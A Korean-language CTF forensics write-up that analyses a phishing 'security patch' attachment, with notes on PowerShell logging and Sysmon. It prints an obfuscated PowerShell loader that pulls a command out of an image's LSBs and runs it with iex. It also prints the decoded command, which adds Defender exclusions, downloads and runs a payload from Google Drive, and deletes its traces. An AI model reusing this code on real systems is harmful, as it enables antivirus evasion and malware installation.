이 문제를 풀지 못했던 이유와 주요 학습 사항
- 실제로 다운로드받는 파일의 일부만을 복호화해 사용한다면, 나머지 부분에 대해서도 의심했어야 한다.
-
이런 의심은 추후 실무상의 어떤 케이스에서 도움이 될 수 있는가?
→ 이건 실무상의 도움이라기보다는 문제에서 ‘쉘스크립트를 제대로 이해할 수 있는지’ 여부를 판단하기 위한 조건이었던 것 같음.
→ 따라서 문제 풀이를 위한 스킬인 것으로 보임… 잘 기억해둘 것.
-
- 파워쉘 스크립트 난독화로 인해 해당 코드의 상세 내용을 들여다볼 생각을 하지 못했다.
- 난독화가 되어 있는 경우, ‘주요 부분’ 에 대해 난독화를 해제해야 명확한 인과 분석이 가능하다.
-
‘주요 부분’ 이란 어떤 기준으로 결정 가능한가?
→ 해당 스크립트가 수행하는 핵심 기능에 입력되는 값이 거치는 부분
-
파워쉘 난독화 해제를 자동화할 수 있는 방법이 존재하는가?
→ 어느 정도는. 그러나 이건 디코딩된 데이터가 파워쉘에서 실행되었을 때만 가능
→ 즉 단순히 변수명과 정수값 정도를 난독화한 것(프론트엔드 보안에서 js 난독화하는 것처럼)의 복호화는 딱히 자동화할 방법이 없음
-
- 난독화가 되어 있는 경우, ‘주요 부분’ 에 대해 난독화를 해제해야 명확한 인과 분석이 가능하다.
문제
DH회사의 신입사원 김모씨는 재택근무를 하던 도중, 사내 긴급 보안 패치와 관련된 내용이 담긴 이메일을 받게 되었다. 메일에 나와있는 방식대로 보안패치를 한 김모씨는 어느순간부터 컴퓨터가 원하지 않는 행동을 수행하는 것을 느꼈다. 김모씨는 이를 이상하게 여겨 분석을 의뢰 맡기게 되었다.
시나리오 S-4-1 문제 : Lsb의 비밀
0. 접근
FTK Imger로 작성된 이미지 파일이므로 FTK Imager를 활용해 분석했다.
Basic Data Partition(3) → root → Users → Documents → em
보통 microsoft 쪽 응용은 사용자 폴더의 Documents 하위에 파일을 저장하는 경우가 많고, 회사에서 사용하는 메일 응용이라면 Outlook일 가능성이 높아 저기부터 확인해 보았다.
시나리오 설명에 나온 것과 같이 보안 권고 관련 이메일 파일을 확인할 수 있었다.
해당 두 메일 파일을 추출해 systools로 확인해 보았다.
첨부된 patch guide 내부의 파일을 추출하여 확인해 보았다.
즉, 함께 첨부된 배치 파일을 분석하는 것으로 목표가 변경되었다.
1. 악성 파일 분석
해당 배치파일을 실행한 후 hidden 속성으로 함께 드롭된 파일(powershell.ps1)을 편집용으로 열어 보면, 아래의 쉘 스크립트를 보게 된다.
$wqeiuyorczxasdkfjhz23xb = "MTgzMDQ="
$wqei1u16yorczxasdkfjhz23xb = "MzA="
$wqei1xca16yorczxasdkfjhz23xb = "MA=="
$aqeuijfnbzcxuiv = "OA=="
$uqiwebuibzxcuyb = [System.Convert]::ToInt32([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($wqeiuyorczxasdkfjhz23xb)))
$zeqwbeuibyxuygb = [System.Convert]::ToInt32([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($wqei1u16yorczxasdkfjhz23xb)))
$qdwcyvbaztyfuqwehvg = [System.Convert]::ToInt32([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($wqei1xca16yorczxasdkfjhz23xb)))
$zy3evbzqvwtg487asgb = [System.Convert]::ToInt32([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($aqeuijfnbzcxuiv)))
$aefnmlksadasdkljfqewornzxc = [System.Convert]::FromBase64String("R3VpZGUuZGli")
$wqeiuyorczxasdkfjhzxbme = [System.Text.Encoding]::ASCII.GetString($aefnmlksadasdkljfqewornzxc)
$QxDrTjYnMvLpHsKjRbWfNgZcVxSbQxWpHfJz = Join-Path (Get-Location).Path $wqeiuyorczxasdkfjhzxbme
$PkVmJnLdQzThPwYsNcXfLuRsWvCdGmJbZtRp = [System.IO.File]::ReadAllBytes($QxDrTjYnMvLpHsKjRbWfNgZcVxSbQxWpHfJz)
$JbPfQrHlMkZsBxCyNdWhGtQxLuVtRqYpWtXp = [math]::sqrt(3025)
$NcYpQzVtFrJdLhSkWtMxKvGsRhCtNxWpQsBd = [math]::log10(10) * 10
$XrBnCdVwYsQtJkWzPrLpMfSnThXvGjRmYqVk = [math]::abs(-1 + 2)
$QrJtFvNpBwXsLnKgUvHpRcMzLkYvGtTzScXf = [math]::round([math]::PI)
$LmWtZxVpQjTsCnRyMvLpJkNxSrUtGhHfRcKs = ($JbPfQrHlMkZsBxCyNdWhGtQxLuVtRqYpWtXp * $XrBnCdVwYsQtJkWzPrLpMfSnThXvGjRmYqVk) + ($QrJtFvNpBwXsLnKgUvHpRcMzLkYvGtTzScXf * $NcYpQzVtFrJdLhSkWtMxKvGsRhCtNxWpQsBd) - $zeqwbeuibyxuygb
$MpQsBnLjHtVrXpWdNgZkTqScRmVlPyKtWhXc = New-Object System.Collections.ArrayList
$WcTfDrGpLxJvNzMkQsYrPtVcHwBmZnKsVnRq = $qdwcyvbaztyfuqwehvg
$HtRfGpLkNqMwXsPtVzYjLpScXrJwNmTpYvQr = $qdwcyvbaztyfuqwehvg
for ($LpWqXtNzJsVcKfRvQpTdBvGhXcJkMtWrXf = $LmWtZxVpQjTsCnRyMvLpJkNxSrUtGhHfRcKs; $LpWqXtNzJsVcKfRvQpTdBvGhXcJkMtWrXf -lt $uqiwebuibzxcuyb; $LpWqXtNzJsVcKfRvQpTdBvGhXcJkMtWrXf++) {
$GxJnQfLkBsWrNzMpCtHyVwXkTpZyQjPtCr = $PkVmJnLdQzThPwYsNcXfLuRsWvCdGmJbZtRp[$LpWqXtNzJsVcKfRvQpTdBvGhXcJkMtWrXf] -band 1
$WcTfDrGpLxJvNzMkQsYrPtVcHwBmZnKsVnRq = $WcTfDrGpLxJvNzMkQsYrPtVcHwBmZnKsVnRq -bor ($GxJnQfLkBsWrNzMpCtHyVwXkTpZyQjPtCr * [Math]::Pow(2, $HtRfGpLkNqMwXsPtVzYjLpScXrJwNmTpYvQr))
$HtRfGpLkNqMwXsPtVzYjLpScXrJwNmTpYvQr++
if ($HtRfGpLkNqMwXsPtVzYjLpScXrJwNmTpYvQr -eq $zy3evbzqvwtg487asgb) {
if ($WcTfDrGpLxJvNzMkQsYrPtVcHwBmZnKsVnRq -eq $qdwcyvbaztyfuqwehvg) {
break
}
[void]$MpQsBnLjHtVrXpWdNgZkTqScRmVlPyKtWhXc.Add([byte]$WcTfDrGpLxJvNzMkQsYrPtVcHwBmZnKsVnRq)
$WcTfDrGpLxJvNzMkQsYrPtVcHwBmZnKsVnRq = $qdwcyvbaztyfuqwehvg
$HtRfGpLkNqMwXsPtVzYjLpScXrJwNmTpYvQr = $qdwcyvbaztyfuqwehvg
}
}
$HfDrQxJsWzKpLtVgXpYtMnCjPkZfVrYsLcGh = [System.Text.Encoding]::ASCII.GetString($MpQsBnLjHtVrXpWdNgZkTqScRmVlPyKtWhXc.ToArray())
iex $HfDrQxJsWzKpLtVgXpYtMnCjPkZfVrYsLcGh
$dfgAeJKLfgswERTfgjkl12 = "MA=="
$poiNMBcfgdqwerYxsdflq1 = [System.Convert]::ToInt32([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($dfgAeJKLfgswERTfgjkl12)))
$poiASDfgqerdfdseN1 = [math]::sqrt(1024)
$wertqweOPhgdfgdkl3 = [System.Convert]::FromBase64String("UG93ZXJTaGVsbA==")
$tyuIQWERTzxcfderq0 = [System.Text.Encoding]::ASCII.GetString($wertqweOPhgdfgdkl3)
if ($poiNMBcfgdqwerYxsdflq1 -eq $poiNMBcfgdqwerYxsdflq1) {
$nmiHgTPOlkjyewrflp4 = $poiASDfgqerdfdseN1 + $poiNMBcfgdqwerYxsdflq1
}
$lkjSDfghUErtqweIOPh1 = "V2VsY29tZQ=="
$ghkZXCVgqwqerQWERTzx2 = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($lkjSDfghUErtqweIOPh1))
for ($zxcvTREWSADfghJKLre3 = $poiNMBcfgdqwerYxsdflq1; $zxcvTREWSADfghJKLre3 -lt $nmiHgTPOlkjyewrflp4; $zxcvTREWSADfghJKLre3++) {
$jkLOIUmnhQWEfghZxcvb4 = $poiNMBcfgdqwerYxsdflq1 * $zxcvTREWSADfghJKLre3
}
$werERTOIUyNMBdfqwefp5 = [System.Convert]::FromBase64String("U2NyaXB0IGhhcyBlbmRlZCBleGVjdXRpb24=")
$zxcMNBAsdfwerXCVbnlk3 = [System.Text.Encoding]::ASCII.GetString($werERTOIUyNMBdfqwefp5)
위 스크립트는 특정 파일의 LSB를 읽어 와, 사전에 정의된 Key를 기반으로 복호화하는 스크립트다.
이 지점에서 위 스크립트와 대상 파일 간의 관계에 주목했어야 했는데,
더 자세히 말하자면
“문제의 힌트가 LSB였으며, 특정 파일을 읽어와 복호화하네? 그렇다면 일반적으로는 전체를 복호화하겠지?” 라고 생각했어야 했는데,
그렇게 생각하지 않은 점이 패인이었던 것 같다.
어쨌든… 지금 문제 라이트업을 보니, 이 문제에서 필요한 정보는 다 찾았지만 플래그를 찾지 못했던 것으로 보인다.
그렇기 때문에, 문제 풀이보다는
- ‘어떤 사고의 흐름을 가져야 하는지’
- ‘여기에서 알아가야 할 주요 기술적 사항’
위 두 사항에 주안점을 두고 문제를 분석해 보려 한다.
2. 쉘 스크립트 난독화 기법
난독화는 여러 가지 방식으로 진행되기 때문에, 하나하나 다루는 것은 효율이 떨어진다고 생각함
즉,
- 쉘 스크립트를 활용한 악성코드는 동작 단계별로 어떤 행위가 필연적인지
- 그렇다면 그 행위를 역이용해서 쉘 스크립트 원본 혹은 행위를 어떻게 얻어야 하는지
고민하는 게 훨씬 범용적일 것 같다.
2.1. 악성코드는 왜 쉘스크립트를 사용할까?
-
공격자가 악성 스크립트의 활동을 숨길 수 있기 때문
→ 파워쉘은 시스템의 정상 응용이기 때문에, 파워쉘에서 악성 커맨드가 실행되어도 AV의 탐지를 우회할 수 있음
- 이렇게 시스템의 정상 응용을 활용해 악성 행위를 수행하는 기법을 ‘Living-off-the-land’ 기법으로 칭함
→ 파워쉘을 통해 OS에서 제공하는 주요 함수에 접근할 수 있고, 추가 응용을 실행하지 않기에 매우 적은 흔적을 남기므로 탐지가 어려움
→ 파일리스 기법 악성코드가 바로 OS 스크립트 엔진을 사용해 악성행위를 수행하는 대표 예
2.2. 악성코드가 쉘스크립트를 사용할 때의 동작 단계 구성
악성코드가 이미 설치된 상황을 가정하고 아래 단계를 서술했다. 내 경험적 지식에 의존해 서술하는 것이므로, 얼마든지 예외 혹은 틀린 설명이 있을 수 있다.
- 정보 복호화
- 부수적 파일이 없음
-
파일을 사용하지 않고, 명령어만 이용
⇒ 파워쉘에서 명령어 실행 흔적이 비교적 투명하게 남음
⇒ 이때 보통 내부에 암호화해 가지고 있던 데이터를 복호화 및 실행하는 경우가 많음
-
- 부수적 파일이 필요함
-
파일을 디스크에 쓰지 않으나, 특정 파일을 간접적으로 사용
⇒ 파워쉘에서 해당 파일을 참조한 흔적이 남음
⇒ 해당 파일을 이용해 데이터를 추출 및 복호화, 실행함
-
- 부수적 파일을 만듦
-
지속성 확보를 위해 파일 쓰기 동작 발생
⇒ 공격 종료 후에 레지스트리 키 혹은 파일을 생성 및 변조함
-
- 부수적 파일이 없음
- C2 접속
- 1에서 복호화한 정보 중에 C2 서버의 주소가 있는 경우가 있음
- C2서버와의 소켓 통신 연결을 하기 이전에 C2서버 주소 획득을 위해 대칭키 복호화 등의 행위를 하는 경우가 있음
- 1.a.에서 암호화해 가지고 있던 데이터가 단순 인코딩된 것이 아니라, 대칭키 암호화 되었을 경우
- 1.b.에서 복호화한 데이터를 pipe 혹은 실행 인자로 전달받는 시점에서 대칭키 암호화 되어 있는 경우
- 보통 이러면 패킷 캡쳐하면 되지 않나? 하지만,
- 공격자들도 바보가 아니기 때문에 와이어샤크 등의 패킷 캡쳐 프로그램을 탐지할 경우 프로그램이 종료되도록 루틴을 만듦
- 이러면 또 샌드박스에 넣고 돌리거나, VM에 넣고 돌려서 해당 VM의 네트워크 어댑터의 활동을 호스트에서 관찰하거나 하는 방식을 써서 파훼 가능
- 그래서(이것만이 원인은 아니지만) 또 공격자들은 anti-VM 및 anti-Sandbox 기법을 씀
- 또 이걸 파훼하기 위해….
- 대충 이런 상황입니다.
- 제일 속 편한 건 복호화 루틴 가지고 하네스를 만들어서 거기에 암호화된 데이터를 돌리는 것이죠…
- 그러나 이걸 하려면 리버싱으로 복호화 루틴을 복원해야 함
- 딱히 해결 방법은 없고 그냥 하는 거지 뭐…
- 근데 또 그러면 암호화된 데이터의 복호화 키를 어떻게 얻을 것인가?
- 지금 복호화 키를 C2에 요청하는 게 적법한 클라이언트인가? 의 질문으로 귀결됨
- 그럼 사전 인증을 진행해야 할 텐데, 아직까지 내가 아는 한은 prepared-key 방식으로 인증을 진행함
- 행위 수행을 위한 코드 다운로드 or 드롭
- C2에게 받아온 코드를 다운로드하거나 드로핑한다.
- 다운로더는 인터넷을 통해 악성파일을 받아온 후 실행한 로그가 파워쉘 로그에 남아있을 가능성이 높음
- 드로퍼는 스스로를 복호화하는 루틴을 통해 악성코드를 복호화하고, 이를 실행함
- 이것도 파워쉘 로그를 보면 흔적이 남아 있을 가능성이 높음
- C2에게 받아온 코드를 다운로드하거나 드로핑한다.
- 악성 행위 수행
- 정보 유출
- 파워쉘을 통해 특정 파일을 원격지 서버에 업로드하거나
- 타 응용을 설치해 특정 파일을 원격지 서버에 업로드하거나
- 아무튼 이것도 파워쉘 로그를 보면 흔적이 남아 있을 가능성이 높고, 아니라 하더라도 맥락을 따라가다 보면 응용 프로그램 로그에서 흔적을 찾을 가능성이 있음
- 시스템 마비
- 암호화
- 이건 이제 암호화 루틴을 찾아내고… 이하 생략이다.
- 암호화
- 정보 유출
- 지속성 확보
- 이것도 생략. 파워쉘에서 실행되는 명령어가 난독화되었을 때 편하게 분석하는 방법을 찾기 위한 포스팅이기 때문
그럼 위의 각 단계에서 나는 어떻게 난독화 이전의 쉘 스크립트를 얻을 수 있을까?
2.3. 쉘 스크립트 난독화 파훼
앞서 나열한 경우수를 보았을 때, 쉘 스크립트를 악성 행위의 주요 기반으로 삼는 악성 프로그램은
- 파워쉘을 통해 쉘스크립트 실행
- 파워쉘을 통해 복호화 진행
- 파워쉘 등으로 이외 응용 다운로드
- 파워쉘로 이후 원격지 서버와 통신
등의 행위를 수행한다.
즉 파워쉘에서 무엇이 어떻게 수행되는지 명확하게 알 수 있다면, 쉘 스크립트 난독화를 파훼할 수 있다는 뜻이다.
2.3.1. PowerShell 로깅 설정
- Windows PowerShell의 동작 로그는 윈도우 이벤트 로그 > 응용프로그램 및 서비스 로그 > Powershell에 기록된다.
- 그러나 추가 설정을 하지 않는 이상 가장 기본적인 정보만 제공한다는 문제가 있음
- 이를 보완하기 위해 분석용 PC에는 PowerShell 추가 로깅을 설정하는 게 좋음
- PowerShell 추가 로깅 설정에는 아래의 옵션이 있음(출처: MS 공식 홈페이지)
- 모듈 로깅
- Record the pipeline execution events for members of specified modules. Module logging must be enabled for both the session and specific modules.
- 출력 일부 및 스크립트 일부 등을 기록함. 타 PowerShell 로깅 소스에서 누락된 일부 세부 정보를 놓치지 않기 위해 켜는 설정
- 이벤트 ID 4103
- 스크립트 블록 로깅
- Record the processing of commands, script blocks, functions, and scripts whether invoked interactively, or through automation.
- When you enable Script Block Logging, PowerShell records the content of all script blocks that it processes. Once enabled, any new PowerShell session logs this information.
- 즉, 실행된 코드의 전체 내용을 기록한다는 특징으로 인해 Decoded 된 코드 또한 기록됨
- 그러나, 실행된 코드의 출력을 기록하지 않음
- 이벤트 ID 4104
- 스크립트 실행
- 실행 허용 스크립트를 제어할 수 있음
- PowerShell 기록
- 파워쉘의 IO를 모두 기록으로 남김
- 실행된 코드의 출력을 기록한다는 점에서 스크립트 블록 로깅과 함께 쓸 만함
- Update-Help용 기본 경로 설정
- 파워쉘 최신 도움말 파일 다운로드 기본 경로를 설정할 수 있음
- 모듈 로깅
- 즉, ‘모듈 로깅’, ‘스크립트 블록 로깅’, ‘PowerShell 기록’ 3개 설정이 분석에 유용할 것으로 판단됨
- 추가로, 스크립트 실행 옵션을 켜주면 더 편하게 분석이 가능할 것 같음
2.3.2. PowerShell 로깅 설정 변경
- gpedit.msc라는 프로그램을 활용해 설정을 변경해줄 수도 있고
- 레지스트리 값을 변경해 원하는 설정을 적용할 수도 있고,
- PowerShell conf file을 이용해 설정을 적용할 수도 있다.
이 글에서는 gpedit.msc, 즉 Group Policy 응용을 활용해 설정을 변경해줄 것이다.
이외 방법이 궁금하다면 여기로
Windows 10, 11 home 버전에서는 gpedit.msc를 win+r로 검색해도 찾을 수 없을 것이다. 홈 에디션이라 그렇다.
그럴 땐 아래의 배치를 분석 PC에서 관리자 권한으로 돌려주면 된다. 내부 커맨드를 보면 알겠지만 윈도우 패키지 프로그램으로 gpedit.msc를 설치하는 배치 파일이라 별다른 악성 행위는 하지 않는다. (보안하는 사람 특: 이런 거 보면 불안해서 뜯어봄)
이제 win+r로 gpedit.msc를 실행하면 아래와 같은 창을 볼 수 있다.
컴퓨터 구성과 사용자 구성이 보인다.
둘의 하위 정책은 대부분 중복되지 않지만, 놀랍게도 이번에 수정할 파워쉘 정책은 중복된다.
그럼 이 중 무엇을 선택해야 하나?
결론: 컴퓨터 구성이 더 우선순위 높게 선택 적용된다.
컴퓨터 구성은 컴퓨터 부팅 시에, 사용자 구성은 사용자 로그인 시에 적용되기 때문이다.
레지스트리 키 적용 시점 구분과 비슷한 걸 보니 레지스트리 키와 연관 있나 보다
는
그렇네 생각해보니 여기에서 구성 변경하는 거랑 레지스트리 키 변경으로 구성 변경하는 거랑 똑같았지
아무튼 다시 본론으로 돌아와서
그렇다면 컴퓨터 구성에서 설정을 변경하는 편이 일 두 번 안 하고 좋을 것이다.
gpedit.msc > 컴퓨터 구성 > 관리 템플릿 > Windows 구성 요소 > Windows PowerShell
여기에서 모듈 로깅, 스크립트 블록 로깅, PowerShell 기록 켜기를 True로 설정해줄 것이다.
- 모듈 로깅: 모듈 이름을 *로 명시해 줘야 모든 모듈의 활동이 기록될 것
- PowerShell 기록: 기록 저장 디렉토리를 명시해주면 나중에 관리가 편할 것
- 스크립트 실행도 모든 스크립트에 대해 허용하도록 했다.
이제 기본 설정이 완료되었다. 또한, 추가적으로 파일리스 악성코드의 활동을 분석하기 위해 필요한 방법을 소개한다.
대체 언제 처음 소개했던 난독화된 쉘스크립트를 분석할 건지…
2.3.3. Sysmon을 활용한 백그라운드 동작 탐지
- Sysmon은 Microsoft에서 배포하는 Sysinternals에 포함된 도구
- Windows 로그에 기록되지 않거나 세부적으로 기록되지 않는 내용에 대해서 상세한 로그 기록을 위해 사용됨
- 윈도우 로그 경로에 Microsoft-Windows-Sysmon%4Operational.evtx 로그 파일이 생성되어 저장
- 그런데 기본 설정은 프로세스 생성 이벤트 수집만 하는 것이라, 특정 이벤트 및 해시를 포함한 로깅을 하고 싶다면 별도 설정 파일(xml)을 로드하여 실행해 줘야 한다.
- 모든 룰셋이 그렇듯 이것도 오픈 소스 룰셋이 있다. (https://github.com/SwiftOnSecurity/sysmon-config)
- 설정만 제대로 한다면 백그라운드 동작도 캡쳐가 가능하다.
- 인젝션, 파일 생성, 레지스트리 조작 등…
(출처: https://www.igloo.co.kr/security-information/powershell%EC%9D%84-%EC%9D%B4%EC%9A%A9%ED%95%9C-%ED%8C%8C%EC%9D%BC%EB%A6%AC%EC%8A%A4-%EA%B3%B5%EA%B2%A9/)
sysmon은 ms 공식 홈페이지에서 다운로드할 수 있다.
3. 분석
위 파워쉘 스크립트를 미리 문제 폴더에 powershell.ps1 파일로 저장해 두었다.
이제 실행해 보자.
800 파이프라인 실행 이벤트로 무언가 커맨드를 실행한 흔적이 남았다.
상세 설명을 보자.
명령줄의 파이프라인 실행 세부 정보: Add-MpPreference -ExclusionPath "C:\Windows\System32"; $executionPolicyPath = "HKLM:\Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell"; $executionPolicyValue = "Unrestricted"; Set-ItemProperty -Path $executionPolicyPath -Name "ExecutionPolicy" -Value $executionPolicyValue; Add-Type -AssemblyName System.IO.Compression.FileSystem; function Test-InternetConnection { try { $request = [System.Net.WebRequest]::Create("http://www.google.com"); $request.Timeout = 10000; $request.Method = "HEAD"; $response = $request.GetResponse(); $response.Close(); return $true } catch { return $false } }; function Create-BaseDirectory { $directoryPath = "C:\Program Files\Microsoft Mail"; if (!(Test-Path -Path $directoryPath)) { New-Item -Force -ItemType directory -Path $directoryPath; Write-Output "[+] Base Directory Created" } else { Write-Output "[!] Base Directory Already Exists" }; Add-MpPreference -ExclusionPath "C:\Program Files\Microsoft Mail" }; function Download-File { $url1 = "https://www.7-zip.org/a/7z2401-x64.exe"; $dest1 = "C:\Program Files\Microsoft Mail\7z.exe"; $url2 = "https://drive.usercontent.google.com/u/0/uc?id=1OvkcHZnQd91akAGdaQLNWU_HxjNvv9Hl&export=download"; $dest2 = "C:\Program Files\Microsoft Mail\mail.zip"; $client = New-Object System.net.webclient; $client.DownloadFile($url1, $dest1); $client.DownloadFile($url2, $dest2); Write-Output "[+] Success Download" }; function PWUnzip { $install7z = "C:\Program Files\Microsoft Mail\7z.exe"; $zipFilePath = "C:\Program Files\Microsoft Mail\mail.zip"; $7zipPath = "C:\Program Files\7-Zip\7z.exe"; Start-Process $install7z /S -Wait -PassThru; & $7zipPath x $zipFilePath -y; mv rc "C:\Program Files\Microsoft Mail\" }; function Hide-Action { Remove-Item -Path "C:\Program Files\Microsoft Mail\mail.zip"; Remove-Item -Path "C:\Program Files\Microsoft Mail\7z.exe"; Remove-Item -Path "C:\Users\torden\Downloads\mail helper.zip"; Remove-Item -Recurse -Path "C:\Users\torden\Downloads\mail helper"; $End_Task = Get-Item "C:\Program Files\Microsoft Mail\" -Force; $End_Task.Attributes = "Hidden"; Write-Output "[+] Success Hidden_Action" }; Create-BaseDirectory; if (Test-InternetConnection) { Download-File; PWUnzip; Hide-Action }; cd "C:\Program Files\Microsoft Mail\rc"; & ".\system.ps1" .
컨텍스트 정보:
DetailSequence=1
DetailTotal=1
SequenceNumber=19
UserId=DESKTOP-UAR1ODI\horim
HostName=ConsoleHost
HostVersion=5.1.19041.5369
HostId=a5338884-9dff-4c76-958e-23188077e040
HostApplication=powershell
EngineVersion=5.1.19041.5369
RunspaceId=511f0e7c-7646-4dcd-8b44-b99961f93057
PipelineId=20
ScriptName=
CommandLine=Add-MpPreference -ExclusionPath "C:\Windows\System32"; $executionPolicyPath = "HKLM:\Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell"; $executionPolicyValue = "Unrestricted"; Set-ItemProperty -Path $executionPolicyPath -Name "ExecutionPolicy" -Value $executionPolicyValue; Add-Type -AssemblyName System.IO.Compression.FileSystem; function Test-InternetConnection { try { $request = [System.Net.WebRequest]::Create("http://www.google.com"); $request.Timeout = 10000; $request.Method = "HEAD"; $response = $request.GetResponse(); $response.Close(); return $true } catch { return $false } }; function Create-BaseDirectory { $directoryPath = "C:\Program Files\Microsoft Mail"; if (!(Test-Path -Path $directoryPath)) { New-Item -Force -ItemType directory -Path $directoryPath; Write-Output "[+] Base Directory Created" } else { Write-Output "[!] Base Directory Already Exists" }; Add-MpPreference -ExclusionPath "C:\Program Files\Microsoft Mail" }; function Download-File { $url1 = "https://www.7-zip.org/a/7z2401-x64.exe"; $dest1 = "C:\Program Files\Microsoft Mail\7z.exe"; $url2 = "https://drive.usercontent.google.com/u/0/uc?id=1OvkcHZnQd91akAGdaQLNWU_HxjNvv9Hl&export=download"; $dest2 = "C:\Program Files\Microsoft Mail\mail.zip"; $client = New-Object System.net.webclient; $client.DownloadFile($url1, $dest1); $client.DownloadFile($url2, $dest2); Write-Output "[+] Success Download" }; function PWUnzip { $install7z = "C:\Program Files\Microsoft Mail\7z.exe"; $zipFilePath = "C:\Program Files\Microsoft Mail\mail.zip"; $7zipPath = "C:\Program Files\7-Zip\7z.exe"; Start-Process $install7z /S -Wait -PassThru; & $7zipPath x $zipFilePath -y; mv rc "C:\Program Files\Microsoft Mail\" }; function Hide-Action { Remove-Item -Path "C:\Program Files\Microsoft Mail\mail.zip"; Remove-Item -Path "C:\Program Files\Microsoft Mail\7z.exe"; Remove-Item -Path "C:\Users\torden\Downloads\mail helper.zip"; Remove-Item -Recurse -Path "C:\Users\torden\Downloads\mail helper"; $End_Task = Get-Item "C:\Program Files\Microsoft Mail\" -Force; $End_Task.Attributes = "Hidden"; Write-Output "[+] Success Hidden_Action" }; Create-BaseDirectory; if (Test-InternetConnection) { Download-File; PWUnzip; Hide-Action }; cd "C:\Program Files\Microsoft Mail\rc"; & ".\system.ps1"
세부 정보:
CommandInvocation(Add-Type): "Add-Type"
매개 변수 바인딩(Add-Type): 이름="AssemblyName"; 값="System.IO.Compression.FileSystem"
HostApplication=Powershell인 것으로 보아, 내가 실행한 powershell.ps1 스크립트에서 새로운 PowerShell을 띄우고 그 인자로(pipe를 통해 전달) CommandLine을 전달한 것 같다.
즉, 내가 실행한 스크립트는 위의 CommandLine을 디코딩해 실행하는 스크립트이다.
그러나 완전 빅 프라블럼
나는 powershell.ps1의 난독화를 해제하고 싶은 건데……. 스스로를 복호화해 실행하는 그런 건 아닌 것 같다….
수제로 난독화를 해제하기로 했다.
$var10 = "Guide.dib"
$guide_path = Join-Path (Get-Location).Path $var10
$guide_fileData = [System.IO.File]::ReadAllBytes($guide_path)
$decoded_data = New-Object System.Collections.ArrayList
$var19 = 0
$var20 = 0
for ($var21 = 55; $var21 < 18304 ; $var21++) {
$var19 = $var19 -bor ($guide_fileData[$var21]* [Math]::Pow(2, $var20))
$var20++
if ($var20 -eq 8) {
if ($var19 -eq 0) {
break
}
[void]$decoded_data.Add([byte]$var19)
$var19 = 0
$var20 = 0
}
}
$command = [System.Text.Encoding]::ASCII.GetString($decoded_data.ToArray())
# iex는 문자열을 명령어로서 실행하는 함수
iex $command
# 문자열 출력부
$var24 = "MA==(0)"
$var25 = [System.Convert]::ToInt32([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($var24)))
$var26 = [math]::sqrt(1024)
$var27 = [System.Convert]::FromBase64String("UG93ZXJTaGVsbA==(PowerShell)")
$var28 = [System.Text.Encoding]::ASCII.GetString($var27)
if ($var25 -eq $var25) {
$var29 = $var26 + $var25
}
$var30 = "V2VsY29tZQ==(Welcome)"
$var31 = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($var30))
for ($var32 = $var25; $var32 -lt $var29; $var32++) {
$var33 = $var25 * $var32
}
$var34 = [System.Convert]::FromBase64String("U2NyaXB0IGhhcyBlbmRlZCBleGVjdXRpb24=(Script has ended execution)")
$var35 = [System.Text.Encoding]::ASCII.GetString($var34)
iex 뒤에 오는 데이터는 for문을 거쳐서 도출되는 것으로 보인다. 따라서, for문이 핵심부로 보인다.
for ($var21 = 55; $var21 < 18304 ; $var21++) {
$var19 = $var19 -bor ($guide_fileData[$var21]* [Math]::Pow(2, $var20))
$var20++
if ($var20 -eq 8) {
if ($var19 -eq 0) {
break
}
[void]$decoded_data.Add([byte]$var19)
$var19 = 0
$var20 = 0
}
}
대상 파일(Guide.idb)의 첫 55번째 byte부터 18303byte까지 18249byte를 8 byte씩 끊어서 디코딩하는 것으로 보인다.
음? 그런데 Guide.idb는 7143000 byte이다.
파일의 일부만 디코딩한 결과물이 쉘코드라는 것이니
파일의 전체를 디코딩하면 뭐가 나오는지 한 번 보자.
파일의 전체를 디코딩하도록 루프 종료 조건을 수정한 모습
파일 전체가 디코딩된다면 아마 명령어로는 먹히지 못할 것이라, iex 대신 Write-Host 명령어를 사용하여 디코딩된 결과값이 콘솔에 찍히도록 수정한 모습
그 결과, 플래그를 획득할 수 있었다.
FLAG: FIESTA{h1dd3n_fl4g_y3ah}